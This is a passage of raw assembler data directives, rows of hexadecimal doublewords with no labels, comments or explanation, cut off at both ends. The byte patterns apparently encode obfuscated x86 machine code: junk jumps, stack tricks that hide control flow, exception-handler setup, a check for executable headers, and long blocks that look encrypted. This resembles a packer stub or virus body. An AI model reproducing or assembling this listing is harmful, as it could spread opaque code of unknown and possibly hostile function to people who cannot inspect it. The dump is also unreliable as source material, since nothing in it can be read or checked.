0E915F9B5h, 6A5F6105h, 0BE902h, 0AD890000h, 6A0C2474h dd 0E5B2985Dh, 0FA8A5004h, 8B240489h, 0E91F0DBDh, 0AD95FF05h dd 8905E900h, 0E91EB5B5h, 0CCDE905h, 0E80000h, 5D000000h dd 24A2ED81h, 6AFC05EEh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 921FC352h, 0D5BD89FFh dd 8D05E904h, 0EC904B85h, 11E905h, 7900000h, 0A7E527B0h dd 597134F1h, 0F525FFCBh, 503C9573h, 89F88B66h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 0B0FB5C3h, 9D8B60EFh, 5E900C5h, 61C0B70Fh, 35FF64h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 7072C357h, 25896451h, 0 dd 10E8h, 0C5640300h, 314408Ah, 1B0B2B5Fh, 92ED1F5Dh, 9503BF55h dd 0FF5B2A8Dh, 0E9068985h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 900A9AA5h dd 29771B95h, 0EB9DBBB7h, 0FF6A3780h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 20C35747h, 66812F37h, 36F2D781h dd 321DB5FFh, 6A05E9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 13CA89C3h, 9A9349DFh, 0C995FF28h dd 0E905E907h, 106h, 0CE9h, 82328500h, 7B4F1D7Ah, 0E66B653Ah dd 2D7DBBBAh, 0B04219h, 1285BD23h, 70E605E9h, 6671E4F9h dd 0BB8AEF81h, 830F613Ch, 0D6h, 3DBD8B52h, 5F05E930h, 0F8C8B60Fh dd 3B59D2Bh, 6BA05E9h, 31000000h, 0E910A5BDh, 0C1C18B05h dd 0F88B04E8h, 56E2F766h, 6870Fh, 0B5290000h, 5E90375h dd 8BC82B5Bh, 0E931AD9Dh, 8BD18B05h, 0E92B159Dh, 8CE905h dd 0EE90000h, 70000000h, 66C5D82Eh, 0ECC0D07Eh, 0AD69056Fh dd 4C858BD4h, 83494755h, 0B4B707C0h, 4058509h, 0C08305E9h dd 0D03BF900h, 11830Fh, 9D330000h, 5E928DDh, 51E9h, 0FD9D0100h dd 8B05E907h, 0FFFFFF8Dh, 0F2E381FFh, 8368209Ch, 840F01E1h dd 36h, 6D78153h, 5B6E7E81h, 0FFFFA583h, 0E9FEFFFFh, 11h dd 4AC343F1h, 86763347h, 93A34624h, 619E5414h, 4C958985h dd 8B494755h, 0E90B5D9Dh, 0E905h, 0B58D0000h, 5EDA62Dh dd 12E9h, 3AA3DF00h, 60A666FDh, 0B3FE3D8Fh, 6EF1214Dh dd 6A902867h, 95FFF500h, 5E91E95h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 7EC35343h, 0F0522747h, 382C95A3h dd 51BD89A5h, 5705E924h, 0FE1BD2Bh, 0B95F05E9h, 100Ah dd 26659D0Bh, 0E18305E9h, 0F4BB66FCh, 0BD8BFC08h, 5E924A5h dd 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 9F7B12C3h, 99314C08h, 0DE8BA46Ch, 6AD22Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0C211A2C3h, 185893Eh, 5005E932h, 33AD5BF9h, 3E8D1C2h dd 4E983D0h, 6AF475h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0B0AC8CC3h, 6ADF8B66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 61D9C351h, 0AA76BF2Eh, 32BBCA07h, 0D531CA0h, 88h, 1651BD8Bh dd 958B05E9h, 5E92655h, 850BF560h, 5E90CE5h, 58D8B61h dd 0E905E908h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B50C2CCh, 3188BC2h dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 17h, 0ABC35242h, 0F51E3E5h, 6AD8BFh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 7BA9D0C3h, 83467D8Ch, 0E91CF1BDh, 840F0005h, 80h, 8B11E781h dd 0B81C75h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 8D8FC356h, 0F0C515Dh dd 582h, 0D87BB00h, 8D8D60E3h, 5E94E6Dh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 19h, 45C35141h, 4EC6D899h dd 0F18A60E2h, 0BE8h, 64CA3000h, 84627862h, 294D2BC9h dd 6158589h, 615905E9h, 9D8BE1FFh, 5E92811h, 163DBD83h dd 0F0005E9h, 42B84h, 3DBD8300h, 105E916h, 439840Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 323942C3h, 187B9AEh, 163DBD83h, 0F0305E9h, 3D486h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 444C4DF4h, 5CC4DE68h, 8B665A0Bh, 6A60F8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F81138C3h dd 5BA1351Dh, 10E8h, 33CB7D00h, 7FBFED3Ah, 0CB1F4BF8h dd 318F2495h, 0FE8B51DAh, 8C0F5B5Bh, 1, 0D98C66F9h, 0E180DA8Bh dd 0FAB70F04h, 840FC90Ah, 10Eh, 2E398D89h, 858B05E9h, 5E92869h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0CAC35141h dd 0B3745243h, 7ABB6643h, 330BB3E2h, 0E90E6185h, 0D8BF0F05h dd 4BBF6690h, 8E95017h, 0A3000000h, 0B14738AEh, 909767F3h dd 6ADE8Bh, 91BD8Bh, 456805E9h, 50173FEAh, 12E852h, 30FC0000h dd 39D4F350h, 8326690Ch, 98DFDC66h, 7C1F66C4h, 7BA824BBh dd 310F5F05h, 0C850Fh, 7E90000h, 32000000h, 0E5FC0D9h dd 585A25C2h, 0BA243481h, 0BB1720E9h, 7BF337h, 292D95FFh dd 6A05E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0E8CBB5C3h, 0Ch, 2F8D01FDh, 12AA1367h, 6D08766Dh dd 24E5BD8Bh, 895B05E9h, 0ECBACE85h, 56006A05h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0B7788DC0h dd 0E9D98B66h, 198h, 328D9D8Bh, 858B05E9h, 5ECBAC6h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 97C35545h, 66F4466Fh dd 0C7FCFE8Bh, 1800h, 7CF38100h, 8B3D8334h, 0ECBACAB5h dd 0F88B6605h, 2F39858Bh, 0E78105E9h, 5829AD31h, 95890689h dd 5E9268Dh, 2869858Bh, 950105E9h, 5E912BDh, 6A044689h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 40BCC355h, 54944956h, 6EBF661Eh, 525050F2h dd 588CBB66h, 860F310Fh, 5, 71FA24BFh, 89585A5Bh, 6A2434h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 21CF85C3h, 1EF6ADE3h, 10318D89h, 18BF05E9h, 0FF358AFEh dd 0ECBAC6B5h, 9E805h, 50CA0000h, 5942704Dh, 60487DC6h dd 0F68166F5h, 5F612FDEh, 0FF5BD03h, 596805E9h, 8B31EE0Ch dd 243481D8h, 31F10FA6h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 12C35141h, 0DEA3234Ch, 29DD2A6Dh, 6850FFDh dd 89000000h, 0E901ED9Dh, 0CE858D05h, 6A05ECBAh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 2905C356h, 0E927F1BDh, 0CE89005h, 49000000h, 2861CB1Bh dd 4E9C001Ah, 0E99E9B18h, 0Ch, 36E8B32Bh, 9A0FDEB5h, 27739F6Ch dd 5250505Fh, 310FCFB7h, 5ADA8B66h, 66B79058h, 292D95FFh dd 0DA8B05E9h, 51006A61h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 8A668991h, 0BB2177A3h dd 8166856Dh, 314702C7h, 0E92D1995h, 1952905h, 0C705E92Fh dd 0E9163D85h, 305h, 6850F00h, 89000000h, 0E902C195h, 0B5036005h dd 5E91701h, 61CE8B66h, 0BACEBD83h, 0F0005ECh, 5084h, 0B9BD8900h dd 0E905E926h, 60h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0DEC35545h, 0DC99C157h, 0F1A3EF8h, 13E8DBB7h dd 24000000h, 0BC90BBAEh, 0A108DA72h, 5D8D8F30h, 58810C51h dd 0BD89782Fh, 5E90B5Dh, 0C30505Fh, 11440011h, 10E8C101h dd 2114430h dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 9BC35545h, 49AB6F72h, 3DBD83F9h, 305E916h dd 385850Fh, 2BB0000h, 83349A28h, 0ECBACEBDh, 840F0005h dd 373h, 0BE9h, 5E3C5D00h, 0C66C5322h, 6446DF6Ah, 0BACEB5FFh dd 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 9A727CC3h, 9159D2Bh, 95FF05E9h, 5E92B75h dd 0EE9h, 3A3A8E00h, 0C1A2770Eh, 628EA13Eh, 8B03604Ah dd 0ECBAC2B5h, 0D9BF0F05h, 106C7h, 6A0001h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F5162DC3h dd 0D97C35A6h, 0F47ADDAh, 68Eh, 559D8B00h, 8905E927h, 0E9283195h dd 66609605h, 60BB38BEh, 61616160h, 84BF6650h, 0E5BB967Ah dd 0FF54687Dh, 0ECBACEB5h, 68D0F05h, 2B000000h, 0E92AA99Dh dd 4D95FF05h, 8B05E92Bh, 0E90395BDh, 0C2B58B05h, 6A05ECBAh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 8BAAC356h, 0E90FDD85h, 0C820F05h, 0F000000h dd 682h, 659D8B00h, 8905E92Fh, 0C486h, 0F7816600h, 0D380527Fh dd 55958BFFh, 6005E926h, 4B9FE081h, 958B18B6h, 5E91145h dd 0CCBF6661h, 4C2837Ah, 0EE880B3h, 0FE000000h, 0F847F917h dd 0C174B843h, 0FA300698h, 0A6BB5192h, 5B395EE0h, 2050895Bh dd 6830Fh, 95890000h, 5E92ED5h, 0D055858Dh, 870F05ECh dd 3, 52FBBF0Fh, 5E9h, 71404D00h, 895F1F8Dh, 0B886h, 758D0100h dd 8905E910h, 0E932E58Dh, 0E9006A05h, 10h, 29FE7348h, 9F74DE98h dd 2CA1AC8Bh, 100337A4h, 0BACEB5FFh, 6A05ECh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570565C3h dd 0AD95FFh, 0B58905E9h, 5E90339h, 89A6B350h, 6A2434h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 661378C3h, 6627F3BBh, 0FFB642BBh, 0ECBACEB5h, 0CE905h dd 5440000h, 9B21D710h, 98490251h, 95FFE0FEh, 5E93231h dd 1C8DBD89h, 0BD8305E9h, 5E92AB1h, 41840F00h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0ED25C351h, 2D8D9529h, 0F5005E9h, 286h, 89D88B00h dd 0DE92434h, 92000000h, 0A02DE7B2h, 7F7EAF37h, 48C9461h dd 0BACEB5FFh, 9D3305ECh, 5E93119h, 2F6195FFh, 0B58905E9h dd 5E908E5h, 0BACEB5FFh, 6A05ECh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 896B86C3h, 0CB262148h dd 0C595FF02h, 6A05E92Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 1E86C357h, 0FB0CC3ADh dd 576060F7h, 3DC8815Ah, 61014C0Eh, 0D8B70F61h, 3FDBD83h dd 0F0205E9h, 5484h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 4203496Fh, 0FC79DD7Ah dd 55858BECh, 6605E930h, 0C614ECBBh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 1C9B66C3h dd 0E61311BFh, 0A985C770h, 5E927h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 3132C351h, 0F2A4C987h, 0E92CA821h, 0FFFFF44Eh, 0B39BD8Bh dd 0BD2305E9h, 5E93111h, 0E957C18Bh, 12h, 0B48A3B5h, 55A4DAE6h dd 3A98551Fh, 0FADD264h, 0BA5F65F3h, 0F00E0000h, 0EA81h dd 0C283F000h, 49958914h, 8305E926h, 858D14EAh, 5EE3210h dd 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 698589C8h, 305E907h, 0B70F3C40h, 95890650h, 5E91D7Dh dd 8950508Bh, 0E9109995h, 0F80505h, 508B0000h, 89D1030Ch dd 0E9056995h, 8500305h, 2F859589h, 8F6405E9h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 1EDDBD83h, 0F0005E9h, 2484h, 0E585C600h, 4705E90Eh dd 9AA7D268h, 0FDB5FFD4h, 8D05E91Eh, 0EC7A6F85h, 6AD0FF05h dd 89D0FF00h, 0E9179985h, 8DD38B05h, 0EE32C98Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 6D50AA59h, 0D9529BCh, 8905E909h, 0E926558Dh, 92D38005h dd 80585C7h, 617005E9h, 0BD890000h, 5E9266Dh, 163D85C7h dd 5E9h, 0D88B0000h, 0FFD88B66h, 0E92839B5h, 0FFBF0F05h dd 0BC595FFh, 0BF0F05E9h, 698D89C6h, 6A05E932h, 9595FF00h dd 8B05E91Eh, 1D7CEBC0h, 93C79C47h, 3EEC8158h, 191E1A26h dd 3041EF11h, 0D7FE796Fh, 0B343212Fh, 7B51D260h, 5EABAE94h dd 0FA415917h, 15B74F09h, 35FC7027h, 88D508Ah, 0D43BB9AAh dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h, 0D1327AE9h, 0BF3C4C85h dd 0B422D9F4h, 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h dd 77C683C6h, 914166Ah, 15F632D1h, 10157690h, 2D5FE87h dd 55478CA5h, 7E2FAE50h, 8DD73EFFh, 0EE33FD8Dh, 13E905h dd 0E6430000h, 8FBABF42h, 0D5BAED77h, 0E7EB0E66h, 0AA05E64Ch dd 558D8974h, 6A05E926h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 4F1FC357h, 0F89B82EDh dd 0E5BEDC77h, 80585C7h, 689805E9h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0AA0190C3h dd 912FC7E8h, 0B79739BFh, 4830F56h, 66000000h, 0C736C4BFh dd 0E9163D85h, 5, 55858B00h, 0FF05E929h, 0E90399B5h, 51BD8905h dd 0FF05E929h, 0E90BC595h, 0FD850905h, 6A05E908h, 9595FF00h dd 8B05E91Eh, 0B17FEBC0h, 555DA92Ah, 4383995Eh, 54D275D5h dd 66DEBA0Ch, 757BA001h, 1FF75A98h, 40F37CC7h, 6E95B527h dd 0D3F7EE83h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 0DC3E627Ah dd 0AAFA18B7h, 8A6316F3h, 0DDC5891Eh, 6728C46Ah, 0F47A4372h dd 1EFF9E2Ah, 55F17664h, 12AB425Ah, 0BE148DA4h, 0B636FBEDh dd 0EC647C4Ah, 654D2F93h, 69433764h, 4BA61383h, 0C6E14BDh dd 7C686234h, 0C4DA0602h, 490B4118h, 5E88E37h, 8E000000h dd 27AD3AF3h, 0E7CBA66h, 0F3816659h, 0C1813BC7h, 6BB2h dd 1EA58D29h, 0B805E9h, 81000000h, 3A45C6h, 834FF56h, 0D6B70F60h dd 66CE8166h, 8B5F6168h, 68C781D9h, 8B3ECC5Dh, 8EC781DFh dd 2B33EDFFh, 0E930B595h, 6BC78105h, 894EBB48h, 0E90491BDh dd 9D895705h, 5E91861h, 0BE01048Fh, 5572EE19h, 0EAD9589h dd 0E88305E9h, 0EF38104h, 81799484h, 0FF94D0F8h, 0A6850FFFh dd 8BFFFFFFh, 0E92F45B5h, 7A8D8D05h, 8B05EE35h, 0E911EDB5h dd 558D8905h, 6605E926h, 85C7DA8Bh, 5E90805h, 6F08h, 0DC5858Bh dd 85C705E9h, 5E9163Dh, 0 dd 0D79AB866h, 55B5FFh, 6A05E9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 38AC6C3h, 0BCB7B735h dd 0BC595FFh, 850905E9h, 5E91259h, 95FF006Ah, 5E91E95h dd 6AEBC08Bh, 0AEC1328Ah, 0D25BA30Eh, 0A6B58ECAh, 64CDE575h dd 270E6A1Fh, 0AF3A6563h, 5AD6B23Bh, 0DA445605h, 67D1842Ah dd 577E5715h, 0A54B4EE1h, 9352F03Bh, 0C812C735h, 53E6F253h dd 0BF575C50h, 567A9539h, 782E103h, 0AEDA1052h, 0BB43E9D1h dd 2574EC17h, 543D3D9Ch, 606B2F41h, 8518481Ah, 2CBCAADDh dd 0A173C171h, 0A09DDAA9h, 2190007h, 6B5463C4h, 485E31C4h dd 0E175F29Eh, 0E9931590h, 7CCF1580h, 2AE531C4h, 41CDF296h dd 8171D471h, 0E90918C1h, 0E35BD8C9h, 6EAE3E04h, 699731C4h dd 81E89059h, 2558B2C1h, 68F7D8D2h, 0D5FA38B1h, 6D5520E5h dd 384745C4h, 0D0EFBA97h, 689735C7h, 4B72B44Dh, 0F568342Dh dd 6D198900h, 3022E23Bh, 799D8C47h, 1C5E342Dh, 0D07C61D3h dd 689735C7h, 4B72B44Dh, 0F568342Dh, 6D198477h, 3022E23Bh dd 80EF31AEh, 685E31C7h, 33EC6AE4h, 6CB36D4Dh, 6CEF7545h dd 68E531D2h, 0A4316287h, 0AAF919C1h, 3FBC5BBDh, 685E322Ch dd 0AB7011C4h, 4CEBB89Bh, 4C8FB0C0h, 68E52DC0h, 0ABA576C4h dd 7C0CAE5Ah, 0F3F1EC22h, 15DBB879h, 0E32AD8D4h, 3B975B04h dd 68CB322Ch, 0ABBE11C4h, 4CAEB89Fh, 4C3DB0C0h, 68BC28C0h dd 0AB0D72C4h, 6B3B714Eh, 0E5941A9Bh, 6D223E51h, 0DB3DBDA2h dd 67F69990h, 687D0540h, 68B7D8C4h, 0ADF31C4h, 0C048DF37h dd 1EE15226h, 11763027h, 0EBE0D8E9h, 81DAD479h, 0EC7631C1h dd 68BC3181h, 62B76E95h, 22F31C0h, 6B7F64C4h, 48CB31C4h dd 0E1B8F299h, 0E9F615A8h, 717D1580h, 2DBC31C4h, 8828F291h dd 0EC8E258Ah, 75D2B44Dh, 6323342Dh, 2DE531C4h, 0ADF084C6h dd 6CDCBB5Ch, 0FD35D40Ch, 6DB73C3Dh, 4F2F8F9Eh, 627F33C4h dd 0BCCB31C4h, 0AAB1190Fh, 0F42F1E67h, 99C438B1h, 31B9D8D2h dd 0FE1FB449h, 674F3428h, 68973A4Fh, 68CDD8C4h, 0A5D031C4h dd 0E8448D70h, 5A54844Dh, 97DD342Dh, 64B75114h, 52F31C4h dd 6C4E0F6Dh, 0B2217BC8h, 0E30BF454h, 81DE3471h, 0A8FC50C1h dd 69AEB5CBh, 84EC31C4h, 0E780945h, 0ED98CA45h, 68CB318Fh dd 7240C245h, 0E9940A2Bh, 6A7B35BCh, 6B3DB5CBh, 683431C4h dd 682CD993h, 37B731C4h, 14426E07h, 2C6435E0h, 68EA35E0h dd 3F3E31C4h, 0E505807h, 78B6BBB3h, 622F31C4h, 5959D773h dd 0AB44F78Fh, 2E69DFF2h, 6746669Fh, 0E26E173h, 8200945h dd 68F0B4CBh, 684531C4h, 6894D995h, 31EB31C4h, 246C6807h dd 2C7335E0h, 686235E0h, 39FD31C4h, 580B9607h, 1CD92257h dd 0E12ABA33h, 0E1CED8C5h, 81CB0049h, 6A8AB1C1h, 1DFC3E2Ch dd 2BC31C4h, 6BB660C4h, 482F31C4h, 0E1CEF29Dh, 0E9CF1588h dd 73E11580h, 29F231C4h, 0F710F295h, 0D2686F92h, 0E9387292h dd 0C32F37BCh, 68D1B4CBh, 0E2C431C4h, 68E531CAh, 497738A4h dd 637CD8F5h, 81B0F459h, 0D4B750C1h, 22F31C6h, 6B7F63C4h dd 48CB31C4h, 0E1BFF29Eh, 0E9F61590h, 7F7D1580h, 2ABC31C4h dd 0E88CF296h, 0E14F45B3h, 81B3B079h, 0E9563AC1h, 9E0D8C2h dd 69F3317Ah, 91F41882h, 0E5B9D8E3h, 84C87041h, 3F2F5BC1h dd 6897322Ch, 0AB9411C4h, 4C99B89Bh, 4CB6B0C0h, 68792BC0h dd 0ABEB76C4h, 0D1138A85h, 59BE1360h, 81B24879h, 21BCEC1h dd 6B0D67C4h, 48F231C4h, 0E127F29Ah, 0E9B815B0h, 7F5A1580h dd 2E2F31C4h, 3A3AF292h, 0E3AD3C4Ah, 6725B43Eh, 68F3C940h dd 39795BC4h, 68BC322Ch, 0AB0711C4h, 4C63B89Dh, 4CD3B0C0h dd 68CB25C0h, 0ABB470C4h, 0ECAB020h, 677B33F9h, 68BC0A41h dd 3D5E5BC4h, 682F322Ch, 0ABCA11C4h, 4CA7B899h, 4CA1B0C0h dd 68F229C0h, 0AB2C74C4h, 7BB3FCDAh, 6E26B076h, 12700CA2h dd 6942B5CBh, 679D31C4h, 68E5374Bh, 0ED3DB0C4h, 310F5E8Dh dd 0F484B0A2h, 35DB3EA4h, 692F31C4h, 8195F051h, 6AB3B1C1h dd 25603E2Ch, 0EF231C4h, 6346FE45h, 6EC4B0A2h, 0ED51F1C4h dd 682F31F8h, 1E5EB0A2h, 695AD8C7h, 688F31C4h, 68F1D997h dd 335931C4h, 34356A07h, 2CDF35E0h, 683435E0h, 3BD431C4h dd 11FB6A07h, 0F5BA148Dh, 68F8D897h, 22E331C4h, 7D9E714Ch dd 1361D6A0h, 692E317Ah, 38975BBAh, 68CB322Ch, 0ABBD11C4h dd 4CB6B89Ch, 4C3DB0C0h, 68BC2CC0h, 0AB0E71C4h, 0DFF231A5h dd 2ADA0BD7h, 0FDC04D90h, 6D0C1CC1h, 0FEB3B449h, 0EDF03428h dd 6D551985h, 0D5D5E13Bh, 6DC6270Dh, 1850D345h, 0A84E5C0Eh dd 683EB5CBh, 689831C4h, 687AD993h, 379C31C4h, 14D76E07h dd 2CAE35E0h, 688035E0h, 3F8C31C4h, 71C8E707h, 7D67B842h dd 0E87CD8F4h, 0EDB3D9FCh, 685E31F8h, 682F342Ch, 8138A9C4h dd 3232F0C5h, 1BE04944h, 68D4B4CBh, 0ED7031C4h, 6D552149h dd 3B594944h, 6896B5CBh, 797E31C4h, 0D5CB31C4h, 8C8AD49Bh dd 433E61A7h, 4C11CB22h, 0B3FDF9F4h, 0E766B0A2h, 0EAA3EC1h dd 3A9731C4h, 40FE84F5h, 0E8BA342Dh, 679A37BCh, 68796541h dd 0E74BAC4h, 97554945h, 2EAA3EE1h, 29731C4h, 6B2360C4h dd 48E531C4h, 0E1ABF29Dh, 0E97D1588h, 7EB81580h, 295E31C4h dd 1853F295h, 2751B13Fh, 68CB632Dh, 886451C4h, 52C66EAFh dd 71388C4Fh, 81DD342Dh, 685E31C9h, 0B2793279h, 0E758E270h dd 1A4CA5F6h, 68E58967h, 689831C4h, 687AD997h, 339C31C4h dd 34D76A07h, 2CAE35E0h, 688A35E0h, 3B8831C4h, 0EC2C9607h dd 395EEA6Ah, 817BA909h, 68BC31D7h, 0D0A48ECBh, 682F31C5h dd 71F2AC4Dh, 0E9AD342Dh, 3811E71Dh, 6C7B5D75h, 68DD8BE0h dd 0D5316590h, 6DB0042Dh, 53A6BC49h, 4B2F342Ah, 6BBC5791h dd 81F72041h, 0A93D1AC1h, 317A332Dh, 5BBA692Eh, 322C3897h dd 11C468CBh, 0B89CABBDh, 0B0C04CB6h, 0E9834C3Dh, 58A4F305h dd 2AB5958Bh, 9D8905E9h, 5E9227Dh, 168D9D31h, 0C00B05E9h dd 8F840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 189196C3h, 21B6CF84h, 0FDBB3C4h dd 0B58DD2BFh, 5E94E6Dh, 4C30D281h, 3B85536h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 3FC353h, 0FEB8A0Bh, 685h, 0D1BD8B00h, 0FF05E916h dd 57006AE6h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0A6AEE932h, 9D8BFC38h, 5E90E4Dh, 6A40F9h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 0C59A8C3h, 9D895909h, 5E91875h, 14E9h, 7E78CE00h, 0CF8663F2h dd 74E46218h, 84F8B25Dh, 0BBC9F42Fh, 6AC08B75h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h dd 0B1B3C356h, 0FF833567h, 6830FADh, 89000000h, 0E90D0D85h dd 14E805h, 0B0B80000h, 35824FAEh, 0CD6965B0h, 0E78C4520h dd 29566057h, 0B3512860h, 835F592Fh, 0E9164DBDh, 9750005h dd 1121BD83h, 740005E9h, 8B535019h, 403B8C0h, 85890000h dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h dd 50177400h, 403B853h, 85890000h, 5E905ADh, 0B5CC9D8Dh dd 0D3FF05EBh, 0BD89585Bh, 5E901F5h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 7DC35646h, 89A2A827h, 0E922D19Dh dd 9D8B6005h, 5E926B9h, 3A31F081h, 8B612E96h, 0B96656C0h dd 615B02D1h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h dd 0A90B3363h, 982633A9h, 5E265AF1h, 7128D6EFh, 0B44E6030h dd 67A5E4FFh, 7138CEF8h, 0F7A3BEA3h, 6723DF29h, 69A3BA79h dd 1B23DAE6h, 7138EED7h, 1D293330h, 98263383h, 0A55DB6C0h dd 15763648h, 761B5ED6h, 0DD963ACh, 9DCF0125h, 98266483h dd 15235935h, 761B4E1Fh, 1DAB6348h, 9DC80ECBh, 11B3CC03h dd 9323DAA6h, 0A1A23C14h, 1526336Ah, 761B4EB0h, 0AACE639Fh dd 0D826334Dh, 1BA3BEF6h, 0C823DD6Eh, 0A55BB624h, 6776363Ah dd 712596FFh, 94E2B030h, 0A55BB617h, 157636A3h, 761B5E23h dd 0DD96356h, 9DCF0158h, 9826513Dh, 74AD666Ah, 0CE746464h dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 761B5888h, 38ABBE9Fh dd 2023DD73h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h dd 8DFFFFFFh, 0EE3EA0B5h, 0BF8D8D05h, 2B05EE3Eh, 5E983CFh dd 8D8DC88Bh, 5EE3F6Eh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 33C35646h, 558D89D8h, 6A05E926h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0A410C355h, 9985890Bh, 0C705E907h, 0E9080585h, 637805h dd 3D85C700h, 5E916h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0F15BC355h, 0E39F1C80h dd 0B5FFFC93h, 5E904BDh, 30919589h, 858B05E9h, 5E92E21h dd 0BC595FFh, 858B05E9h, 5E91979h, 8C66BF66h, 95FF006Ah dd 5E91E95h, 69EBC08Bh, 2C6962E7h, 37F50ACh, 0E9D26898h dd 3C10E40Eh, 7DC0C703h, 95E0592h, 0A197CFCBh, 31A6A9A5h dd 0A77BBAD3h, 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 0A5DBADE6h dd 614B2A4Bh, 42C56CA8h, 0B8F0C11Ch, 0CDB37E9Bh, 90026E52h dd 0EEDC47DDh, 0B9EE6D5Ah, 14B63847h, 0E3717E69h, 4196037Dh dd 0AA1B6219h, 249DF6CAh, 828A8F17h, 33582062h, 3331C854h dd 6E121001h, 5FBB55C2h, 77B30025h, 33240625h, 